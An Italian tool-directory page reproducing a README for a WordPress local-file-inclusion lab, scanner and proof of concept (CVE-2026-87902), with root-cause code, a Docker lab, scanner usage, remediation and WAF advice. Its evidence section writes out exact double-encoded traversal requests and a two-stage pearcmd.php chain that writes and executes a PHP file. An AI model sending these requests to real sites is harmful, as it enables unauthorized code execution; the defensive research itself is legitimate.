Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-87902-wordpress-lfi-lab — Lab di riproduzione + scanner per liste di URL + PoC per CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() LFI non autenticato con RCE condizionale (WP 4.7.0-7.1.1, corretto in 7.1.2). Test autorizzati/difensivi. | Kitploit
Strumenti/GitHubGitHub/dinosn/cve-2026-87902-wordpress-lfi-lab
Scanner di VulnerabilitàScanner di Vulnerabilità WebAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
Sviluppo Payload
Lab e Pratica
GitHubdinosn/cve-2026-87902-wordpress-lfi-lab

cve-2026-87902-wordpress-lfi-lab

Lab di riproduzione + scanner per liste di URL + PoC per CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() LFI non autenticato con RCE condizionale (WP 4.7.0-7.1.1, corretto in 7.1.2). Test autorizzati/difensivi.

Vedi Repository
350 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI non autenticato in get_page_template() di WordPress → RCE condizionale

Laboratorio di riproduzione + scanner per liste di URL + PoC, realizzato e validato end-to-end contro WordPress autentico 7.1.1 (vulnerabile) e 7.1.2 (corretto) sul laboratorio Docker.

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Tipo: CWE-98 controllo improprio del nome file per include/require (path traversal → inclusione PHP locale)
  • Interessati: WordPress 4.7.0 – 7.1.1 (corretto in 7.1.2 e backport per branch: 7.0.6, 6.9.9, 6.8.10 … fino a 4.7.37)
  • Auth: nessuna. CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
  • Prerequisiti: (1) il tema attivo ha una directory di primo livello chiamata page-* (es. — presente in Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) solo per la RCE: un leggibile e .
page-templates/
pearcmd.php
register_argc_argv=On

1. Causa principale (verificata sul sorgente 7.1.1 vs 7.1.2)

wp-includes/template.php :: get_page_template() costruisce un candidato template dalla query var pagename controllata dall'attaccante senza validate_file():

root@kitploit:~
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // <-- no validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}
root@kitploit:~
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
    $templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root

locate_template() esegue poi file_exists($theme_dir . '/' . $candidate) e include del file trovato. Poiché il candidato è page-{...}.php, il payload deve proseguire una directory reale del tema che inizia con page- (es. page-templates/) e poi risalire con ../ verso qualsiasi .php leggibile.

La doppia codifica è obbligatoria. get_query_var('pagename') è già decodificato una volta da PHP, quindi un semplice ../ fa sì che urldecode($pagename) === $pagename e il branch vulnerabile viene saltato. Un %252e%252e%252f doppiamente codificato sopravvive alla prima decodifica come %2e%2e%2f e viene trasformato in ../ solo dall'urldecode() aggiuntivo — che è il bug.


2. Laboratorio (lab/)

Release autentiche affiancate sull'host Docker, differenti solo per la correzione di sicurezza:

ServizioURL (solo loopback)WordPressRuolo
wp-vulnhttp://127.0.0.1:80917.1.1vulnerabile
wp-patchedhttp://127.0.0.1:80927.1.2controllo corretto
db—MySQL 8.4condiviso (due database)

Immagine base wordpress:php8.3-apache (che include già pearcmd.php e register_argc_argv=On), con il core in bundle sostituito con gli autentici wordpress-7.1.1.zip / 7.1.2.zip. Twenty Fourteen è attivato (reale page-templates/), e viene anche creato un fixture page-templates/ nel tema attivo. ID pagina pubblicata = 2 (Sample Page).

root@kitploit:~
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh        # build + install both instances (idempotent)
./down.sh      # tear down + remove volumes

Le porte si legano solo a 127.0.0.1 — l'istanza vulnerabile non è mai esposta in rete.


3. Scanner / PoC (poc/cve-2026-87902-scan.py)

Python 3, solo stdlib (nessun pip install). Accetta una lista di URL e segnala quali sono vulnerabili. La scansione predefinita è non distruttiva: include il file core di sola lettura wp-links-opml.php e cerca il documento OPML risultante — prova che l'inclusione arbitraria di .php è avvenuta, senza scritture e senza modifiche di stato.

root@kitploit:~
# single URL
./cve-2026-87902-scan.py http://target/

# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json

# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q

Come viene classificato un target

  1. Fingerprint di WordPress + versione (meta generator → feed <generator> → wp-links-opml.php → readme.html → asset /wp-includes/ ?ver=).
  2. Scoperta di un id pagina pubblicata valido (REST /wp/v2/pages, fallback ?rest_route=, homepage page-id-N, default page_id=2) — necessario affinché la richiesta risolva a una Page e get_page_template() venga eseguito.
  3. Sweep dell'oracolo OPML: per segment × depth (segment predefinito templates, profondità 4,3,5,6,7), invia page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST, per eludere il redirect canonico) e richiede un HTTP 200 che contenga <opml version="1.0"> + un marcatore secondario strutturale (</opml> / <outline / <dateCreated>).
  4. Controllo negativo (prova di causalità): su un hit, re-invia la richiesta identica puntando a un .php garantito inesistente. Se l'OPML appare comunque, l'OPML è ambientale (proxy / cache / feed app), non la nostra inclusione → declassato a POSSIBLY. Solo un hit il cui controllo è pulito è VULNERABLE.

Robustezza: preserva i percorsi in sottodirectory (http://host/blog), gestisce gzip/deflate e charset anomali, riprova una probe una volta in caso di errore di trasporto, scopre/valida gli id pagina (REST → ?rest_route= → homepage → default), impone un budget di tempo per target, e non dichiara mai NOT_VULNERABLE da una fonte di versione a bassa confidenza (asset ?ver= / readme.html) — queste degradano a POSSIBLY.

VerdettoSignificato
VULNERABLEoracolo OPML attivato — LFI confermato (definitivo)
NOT_VULNERABLEversione del branch corretto, o versione fuori da 4.7.0–7.1.1
POSSIBLY_VULNERABLEversione vulnerabile/sconosciuta ma oracolo silente (probabilmente nessuna dir tema page-*, layout non standard, o nessun id pagina scopribile) — verificare manualmente
NOT_WORDPRESS / ERRORnessun indicatore WP / errore di trasporto

Codice di uscita: 2 se almeno un VULNERABLE, 1 se almeno un POSSIBLY (e nessun VULNERABLE), altrimenti 0.

Flag utili: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids, --max-time (budget per target), --timeout, --threads, --proxy, --header, --insecure (TLS off — solo dev), --json, --jsonl. Per un'installazione WordPress in sottodirectory, passare la base completa (es. https://host/blog); per Bedrock/core in wp/ lo sweep prova anche target oracolo con prefisso wp/.

Escalation RCE (opt-in, uso in laboratorio)

root@kitploit:~
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2

Esegue la catena PEAR pearcmd.php: la query string separata da + trasporta argv config-create che scrive un marker .php senza virgolette sotto /tmp; una seconda richiesta lo include. Stampa il marker eseguito + php_uname() + uid. Scrive un file sul target → singolo target, richiede --i-have-authorization, disattivato per default.


4. Evidenze (evidence/)

FileCosa dimostra
manual-validate.sh / ev-lfi.logl'oracolo OPML si attiva su 7.1.1 (profondità 4, POST e GET), silente su 7.1.2; solo la profondità 4 funziona; la codifica singola fallisce
rce-validate.sh / ev-rce.logRCE PEAR completa su 7.1.1 (uid=33 come www-data, profondità 7); il corretto non scrive file, non esegue nulla
ev-scan-table.log / ev-scan-results.jsonscanner su {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR

Forme di richiesta provate:

root@kitploit:~
LFI (detection, non-destructive):
  POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
  -> 200 with <opml version="1.0"> in the body   (depth 4 = webroot on /var/www/html)

RCE (conditional; register_argc_argv=On + readable pearcmd.php):
  Stage 1  POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
           body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
  Stage 2  POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
           -> body contains the executed marker + php_uname() + uid=33

5. Remediation

  • Aggiornare WordPress a 7.1.2 (o alla release corretta per il proprio branch: 7.0.6, 6.9.9, 6.8.10, … 4.7.37).
  • Difesa in profondità: impostare PHP register_argc_argv=Off per la SAPI web e rimuovere/negare pearcmd.php; questo elimina l'escalation RCE anche se l'LFI è raggiungibile.
  • Rilevamento/WAF: dopo aver decodificato completamente chiavi e valori dei parametri (e parametri duplicati), bloccare qualsiasi pagename contenente ..; la co-occorrenza di page_id + un pagename che inizia con templates%252f / contiene %252e%252e sulla root del sito o su /index.php è un segnale di exploit quasi certo.

Solo test di sicurezza autorizzati, formazione e ricerca difensiva.

Scarica lo strumento